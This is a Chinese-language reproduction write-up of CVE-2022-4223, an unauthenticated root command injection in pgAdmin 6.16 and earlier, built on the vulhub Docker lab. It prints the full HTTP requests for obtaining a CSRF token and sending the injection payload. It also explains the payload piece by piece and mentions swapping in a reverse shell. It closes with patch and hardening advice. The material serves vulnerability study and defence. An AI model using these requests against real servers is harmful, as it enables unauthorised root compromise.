pgAdmin 6.16 及更早版本未授权远程命令执行漏洞 CVE-2022-4223 复现与原理剖析【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub导读本文以 vulhub 仓库中的 pgAdmin 漏洞环境为依托完整复现 CVE-2022-4223pgAdmin 6.16 及更早版本由于对validate_binary_pathAPI 的用户输入路径缺少安全校验攻击者无需登录即可在服务器上以 root 权限执行任意命令。读完本文你将掌握该漏洞的触发链路、CSRF Token 绕过细节、完整的 Docker 环境搭建与利用流程以及基于 6.17 官方补丁的修复思路。漏洞概述pgAdmin 是 PostgreSQL 生态中最著名的开源数据库管理与开发平台提供基于 Web 的可视化管理界面。其服务端内置了一个 HTTP API用于校验用户选择的 PostgreSQL 外部工具如pg_dump、pg_restore的路径是否合法——服务端会实际执行该工具来探测其对应的 PostgreSQL 版本。CVE-2022-4223 正是出在这个路径校验逻辑上pgAdmin 6.16 及更早版本对用户传入的utility_path没有做合适的验证导致**未授权无需登录**的攻击者可以在目标服务器上执行任意命令属于典型的命令注入漏洞。该漏洞在 6.17 版本中修复官方公告编号为 GHSA-3v6v-2x6p-32mc相关修复提交为799b6d8f7c10e920c9e67c2c18d381d6320ca604461849c2763e680ed2296bb8a753ca7aef546595vulhub 在 pgadmin/CVE-2022-4223 目录下提供了可直接复现的 Docker 环境镜像版本锁定为pgadmin46.16。漏洞原理路径校验接口如何变成命令执行入口接口定位POST /misc/validate_binary_pathpgAdmin 在前端「首选项 → 路径」中允许用户为pg_dump、pg_restore等工具配置可执行文件路径。保存时前端会调用POST /misc/validate_binary_path服务端拿到 JSON 中的utility_path字段后会将其当作系统命令执行通过读取输出来判断该工具属于哪个 PostgreSQL 版本。问题在于该接口没有要求用户已通过身份认证未授权即可访问utility_path直接拼接进 shell 命令未对引号、分号、注释符等 shell 元字符做过滤或转义服务端进程以什么用户运行命令就以什么权限执行——在本文的 Docker 环境中即 root。注入载荷拆解复现时使用的核心载荷为{utility_path:a\;id;#}将其逐段拆解可清晰看到注入过程片段作用a拼入命令的普通字符作为命令前缀\转义的双引号闭合服务端拼接时打开的双引号;shell 命令分隔符结束前一段命令id真正要执行的系统命令可替换为任意命令#shell 注释符将服务端原本拼接的尾部内容如--version注释掉避免影响注入命令的语法也就是说若服务端实际构造的命令形如a;id;# --version#之后的--version全部被当作注释id得以独立执行其输出会作为接口返回值回显给攻击者。漏洞环境搭建一键启动在 pgadmin/CVE-2022-4223 目录下执行docker compose up -d服务启动后访问http://your-ip:5050即可看到 pgAdmin 默认登录页面。对应编排文件见 docker-compose.ymlversion: 2 services: web: image: vulhub/pgadmin:6.16 ports: - 5050:5050仅有一个web服务将容器内 pgAdmin 默认监听端口 5050 映射到宿主机。基础镜像构成仓库的 base/pgadmin/6.16 目录给出了该镜像的构建方式便于理解漏洞运行环境Dockerfilebase/pgadmin/6.16/Dockerfile基于python:3.10通过pip install -r /tmp/requirements.txt安装依赖并写入环境变量PGADMIN_SETUP_EMAILvulhubexample.com、PGADMIN_SETUP_PASSWORDvulhub内置一个已知的初始化账号但利用漏洞本身无需登录工作目录为 pgAdmin 安装目录启动命令为pgadmin4。config_local.pybase/pgadmin/6.16/config_local.pySERVER_MODE True开启服务器模式DEFAULT_SERVER 0.0.0.0使服务监听所有网卡便于外部访问DEBUG False。requirements.txtbase/pgadmin/6.16/requirements.txt锁定pgadmin46.16同时包含 Flask 2.1.3、Werkzeug 2.1.2、Flask-Security-Too 4.1.6 等 Web 框架与安全组件其 CSRF 保护机制正是复现过程中需要绕过的关键环节。漏洞复现从 CSRF Token 到命令执行pgAdmin 启用了 CSRF 防护直接构造 POST 请求会被拦截。因此完整的利用分为两步。第一步获取 CSRF Token 与会话复现前先发送如下数据包获取 CSRF token无需登录GET /login HTTP/1.1 Host: your-ip:5050 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en,zh-CN;q0.9,zh;q0.8,en-US;q0.7 Connection: close返回包中会同时给出一个新的pgadmin_session会话 Cookie 和csrf_token响应中的response字段从响应头可以看到Server: Werkzeug/2.1.2 Python/3.10.14与 requirements.txt 中锁定的版本一致Set-Cookie携带会话标识。第二步构造恶意 validate_binary_path 请求将上一步获取的会话 Cookie 与 CSRF Token 填入以下数据包并发送POST /misc/validate_binary_path HTTP/1.1 Host: your-ip:5050 Content-Length: 27 X-pgA-CSRFToken: [csrf-token] Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en,zh-CN;q0.9,zh;q0.8,en-US;q0.7 Cookie: pga4_session[session-id] Connection: close {utility_path:a\;id;#}注意三个关键点CSRF 头名称为X-pgA-CSRFToken注意大小写值为第一步拿到的 tokenCookie 名称是pga4_session旧版本命名而非截图中的pgadmin_session以实际返回值为准Content-Type必须为application/jsonutility_path为注入点。请求发出后id命令已被成功执行命令输出直接回显在响应中响应中success为trueerrorinfo为null且回显内容为uid0(root) gid0(root) groups0(root)——证明id以root 权限执行成功漏洞利用完全成立。将载荷中的id替换为任意命令如反弹 shell即可获得服务器控制权。利用流程小结GET /login ──► 获得 pga4_session csrf_token │ ▼ POST /misc/validate_binary_path 携带 Cookie 与 X-pgA-CSRFToken body: {utility_path:a\;id;#} │ ▼ 服务端拼接执行命令 ──► 命令输出回显攻击完成整个过程中未使用任何登录凭据仅依赖接口自身的会话与 CSRF Token 校验而这些校验对未授权访问者同样开放因此属于未授权远程命令执行。漏洞影响面与修复方案受影响版本与修复版本受影响pgAdmin 6.16 及更早版本已修复pgAdmin 6.17 起修复修复方式是彻底加固validate_binary_path接口对utility_path执行白名单式路径校验禁止包含 shell 元字符的输入同时对接口的调用者身份进行校验不再允许未授权访问。vulhub 仓库的 base/pgadmin 目录中还提供了 7.6、9.1、9.10 等后续版本的镜像基础文件Dockerfile、config_local.py均不包含该漏洞可作为升级后的参照环境。加固建议升级 pgAdmin 至 6.17 或更高版本这是根治该漏洞的唯一可靠手段若无法立即升级应在网关/WAF 层面对POST /misc/validate_binary_path接口做访问控制与敏感字符拦截并限制管理端口的对外开放范围遵循最小权限原则运行 pgAdmin 服务避免以 root 等高权限账号启动本仓库实验环境为便于演示以 root 运行生产环境切勿照搬关注官方安全公告GHSA-3v6v-2x6p-32mc及时跟进 pgAdmin 后续版本的安全修复。延伸阅读本仓库还收录了 pgAdmin 的其他安全漏洞环境可对照学习pgAdmin CVE-2023-5002 相关环境pgAdmin CVE-2025-13780 相关环境pgAdmin CVE-2025-2945 相关环境参考链接pgAdmin 官方修复提交 1799b6d8f7c10e920c9e67c2c18d381d6320ca604pgAdmin 官方修复提交 2461849c2763e680ed2296bb8a753ca7aef546595官方安全公告GHSA-3v6v-2x6p-32mc【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考